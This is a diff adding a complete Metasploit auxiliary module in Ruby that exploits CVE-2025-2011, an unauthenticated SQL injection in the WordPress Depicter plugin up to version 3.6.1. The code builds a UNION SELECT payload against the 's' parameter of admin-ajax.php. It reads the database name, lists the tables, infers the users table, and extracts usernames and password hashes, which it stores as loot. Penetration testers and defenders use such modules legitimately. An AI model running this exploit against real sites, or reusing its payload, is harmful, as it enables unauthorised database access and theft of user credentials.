|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Auxiliary::Scanner |
| 8 | + include Msf::Exploit::Remote::HTTP::Wordpress |
| 9 | + include Msf::Exploit::Remote::HTTP::Wordpress::SQLi |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super( |
| 13 | + update_info( |
| 14 | + info, |
| 15 | + 'Name' => 'WordPress Depicter Plugin SQL Injection (CVE-2025-2011)', |
| 16 | + 'Description' => %q{ |
| 17 | + The Slider & Popup Builder by Depicter plugin for WordPress <= 3.6.1 is vulnerable to unauthenticated SQL injection via the 's' parameter in admin-ajax.php. |
| 18 | + }, |
| 19 | + 'Author' => [ |
| 20 | + 'Muhamad Visat', # Vulnerability Discovery |
| 21 | + 'Valentin Lobstein' # Metasploit Module |
| 22 | + ], |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'References' => [ |
| 25 | + ['CVE', '2025-2011'], |
| 26 | + ['WPVDB', '6f894272-3eb6-4595-ae00-1c4b0c0b6564'], |
| 27 | + ['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-2011'], |
| 28 | + ['URL', 'https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179'] |
| 29 | + ], |
| 30 | + 'Actions' => [['SQLi', { 'Description' => 'Perform SQL Injection via admin-ajax.php?s=' }]], |
| 31 | + 'DefaultAction' => 'SQLi', |
| 32 | + 'DefaultOptions' => { 'VERBOSE' => true, 'COUNT' => 1 }, |
| 33 | + 'DisclosureDate' => '2025-05-08', |
| 34 | + 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } |
| 35 | + ) |
| 36 | + ) |
| 37 | + end |
| 38 | + |
| 39 | + def run_host(_ip) |
| 40 | + print_status('Retrieving database name via SQLi...') |
| 41 | + db_name = extract_value_from_sqli('database()') |
| 42 | + fail_with(Failure::UnexpectedReply, 'Failed to extract database name.') unless db_name |
| 43 | + vprint_good("Database name: #{db_name}") |
| 44 | + |
| 45 | + print_status('Enumerating tables for prefix inference...') |
| 46 | + raw = 'group_concat(table_name) from information_schema.tables where table_schema=database()' |
| 47 | + tables_csv = extract_value_from_sqli(raw) |
| 48 | + fail_with(Failure::UnexpectedReply, 'Failed to enumerate tables.') unless tables_csv |
| 49 | + print_good("Tables: #{tables_csv}") |
| 50 | + |
| 51 | + visible_tables = tables_csv.split(',') |
| 52 | + prefix = visible_tables.first.split('_').first |
| 53 | + users_table = "#{prefix}_users" |
| 54 | + print_status("Inferred users table: #{users_table}") |
| 55 | + |
| 56 | + print_status('Extracting user credentials...') |
| 57 | + limit = datastore['COUNT'].to_i |
| 58 | + raw_creds = "group_concat(user_login,0x3a,user_pass SEPARATOR 0x0a) from (select * from #{db_name}.#{users_table} LIMIT #{limit}) as sub" |
| 59 | + creds = extract_value_from_sqli(raw_creds) |
| 60 | + fail_with(Failure::UnexpectedReply, 'Failed to extract credentials.') unless creds |
| 61 | + |
| 62 | + data = creds.split("\n").map { |u| u.split(':', 2) } |
| 63 | + table = Rex::Text::Table.new( |
| 64 | + 'Header' => users_table, |
| 65 | + 'Indent' => 4, |
| 66 | + 'Columns' => ['Username', 'Password Hash'] |
| 67 | + ) |
| 68 | + loot_data = '' |
| 69 | + data.each do |user| |
| 70 | + table << user |
| 71 | + loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n" |
| 72 | + create_credential( |
| 73 | + workspace_id: myworkspace_id, |
| 74 | + origin_type: :service, |
| 75 | + module_fullname: fullname, |
| 76 | + username: user[0], |
| 77 | + private_type: :nonreplayable_hash, |
| 78 | + jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]), |
| 79 | + private_data: user[1], |
| 80 | + service_name: 'WordPress', |
| 81 | + address: datastore['RHOST'], |
| 82 | + port: datastore['RPORT'], |
| 83 | + protocol: 'tcp', |
| 84 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 85 | + ) |
| 86 | + vprint_good("Created credential for #{user[0]}") |
| 87 | + end |
| 88 | + |
| 89 | + print_line(table.to_s) |
| 90 | + loot_path = store_loot( |
| 91 | + 'wordpress.users', |
| 92 | + 'text/plain', |
| 93 | + datastore['RHOST'], |
| 94 | + loot_data, |
| 95 | + 'wp_users.txt', |
| 96 | + 'WP Usernames and Password Hashes' |
| 97 | + ) |
| 98 | + print_good("Loot saved to: #{loot_path}") |
| 99 | + |
| 100 | + report_host(host: datastore['RHOST']) |
| 101 | + report_service( |
| 102 | + host: datastore['RHOST'], |
| 103 | + port: datastore['RPORT'], |
| 104 | + proto: 'tcp', |
| 105 | + name: fullname, |
| 106 | + info: description.strip |
| 107 | + ) |
| 108 | + report_vuln( |
| 109 | + host: datastore['RHOST'], |
| 110 | + port: datastore['RPORT'], |
| 111 | + proto: 'tcp', |
| 112 | + name: fullname, |
| 113 | + refs: references, |
| 114 | + info: description.strip |
| 115 | + ) |
| 116 | + vprint_good('Reporting completed') |
| 117 | + |
| 118 | + data |
| 119 | + end |
| 120 | + |
| 121 | + def extract_value_from_sqli(expr) |
| 122 | + expr = expr.to_s.strip.gsub(/\s+/, ' ') |
| 123 | + r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) } |
| 124 | + injected = "#{r1}') UNION SELECT #{r2},#{r3},(SELECT #{expr}),#{r4},#{r5}-- -" |
| 125 | + |
| 126 | + res = send_request_cgi( |
| 127 | + 'method' => 'GET', |
| 128 | + 'uri' => normalize_uri('wp-admin', 'admin-ajax.php'), |
| 129 | + 'vars_get' => { |
| 130 | + 's' => injected, |
| 131 | + 'perpage' => rand(10..50).to_s, |
| 132 | + 'page' => rand(1..3).to_s, |
| 133 | + 'orderBy' => 'source_id', |
| 134 | + 'dateEnd' => '', |
| 135 | + 'dateStart' => '', |
| 136 | + 'order' => ['ASC', 'DESC'].sample, |
| 137 | + 'sources' => '', |
| 138 | + 'action' => 'depicter-lead-index' |
| 139 | + } |
| 140 | + ) |
| 141 | + return unless res&.code == 200 |
| 142 | + |
| 143 | + json = res.get_json_document |
| 144 | + json.dig('hits', 0, 'content', 'id') || |
| 145 | + json.dig('hits', 0, 'content', 'name') |
| 146 | + end |
| 147 | +end |
0 commit comments